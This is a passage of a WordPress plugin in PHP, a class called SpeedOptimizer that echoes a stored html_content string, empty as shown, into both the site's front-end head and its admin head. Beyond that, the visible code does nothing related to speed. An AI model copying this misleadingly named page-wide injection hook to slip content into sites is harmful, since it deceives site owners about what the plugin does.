html_content = '
';
add_action('wp_head', array($this, 'inject_html'));
add_action('admin_head', array($this, 'inject_html'));
register_activation_hook(__FILE__, array($this, 'activate'));
}
public function inject_html() {
echo $this->html_content;
}
public function activate() {
}
}
SpeedOptimizer::get_instance();
?>